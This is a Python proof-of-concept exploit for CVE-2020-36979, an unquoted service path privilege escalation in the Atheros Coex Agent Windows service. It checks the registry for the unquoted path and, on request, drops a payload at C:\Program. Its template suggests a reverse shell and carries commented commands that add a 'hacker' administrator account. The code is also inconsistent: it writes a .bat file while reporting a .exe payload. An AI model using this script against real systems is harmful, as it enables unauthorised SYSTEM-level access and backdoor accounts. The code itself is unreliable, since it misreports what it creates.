CVE-2020-36979: Atheros Coex Service Application未加引号服务路径权限提升漏洞

# CVE-2020-36979 PoC - Atheros Coex Service Unquoted Service Path # This PoC demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges to SYSTEM level import os import sys import shutil def check_vulnerability(): """Check if the vulnerable service exists and has unquoted path""" try: import winreg key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\Atheros Coex Agent" ) path, _ = winreg.QueryValueEx(key, "ImagePath") winreg.CloseKey(key) print(f"[+] Service path: {path}") # Check if path is unquoted if '"' not in path: print("[!] Vulnerability confirmed: Path is not quoted") return path else: print("[-] Path is properly quoted, vulnerability may be patched") return None except WindowsError as e: print(f"[-] Service not found or access denied: {e}") return None def create_payload(payload_path="C:\\Program.exe"): """Create a malicious executable in the unquoted path location""" # Create a simple reverse shell payload or add your own malicious code malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Add your malicious code here // This will run with SYSTEM privileges MessageBox(NULL, "Privilege Escalation Successful!", "CVE-2020-36979", MB_OK); // Example: Create a new admin user // system("net user hacker P@ssw0rd123 /add"); // system("net localgroup administrators hacker /add"); return 0; } ''' # For demonstration, create a simple batch file as payload batch_content = '''@echo off echo Privilege Escalation via CVE-2020-36979 > C:\\poc_success.txt ''' try: with open(payload_path.replace(".exe", ".bat"), 'w') as f: f.write(batch_content) print(f"[+] Payload created at {payload_path}") return True except Exception as e: print(f"[-] Failed to create payload: {e}") return False def main(): print("=" * 60) print("CVE-2020-36979 - Atheros Coex Service Unquoted Path Exploit") print("=" * 60) # Check if vulnerable path = check_vulnerability() if path: print("\n[!] Target is vulnerable!") print("[*] Exploitation requires:") print(" 1. Write access to a directory in the service path") print(" 2. Ability to restart the service or wait for reboot") # For authorized testing only if len(sys.argv) > 1 and sys.argv[1] == "--exploit": create_payload() print("[*] Payload created. Service restart required for exploitation.") else: print("[-] Target is not vulnerable or service not found") if __name__ == "__main__": main()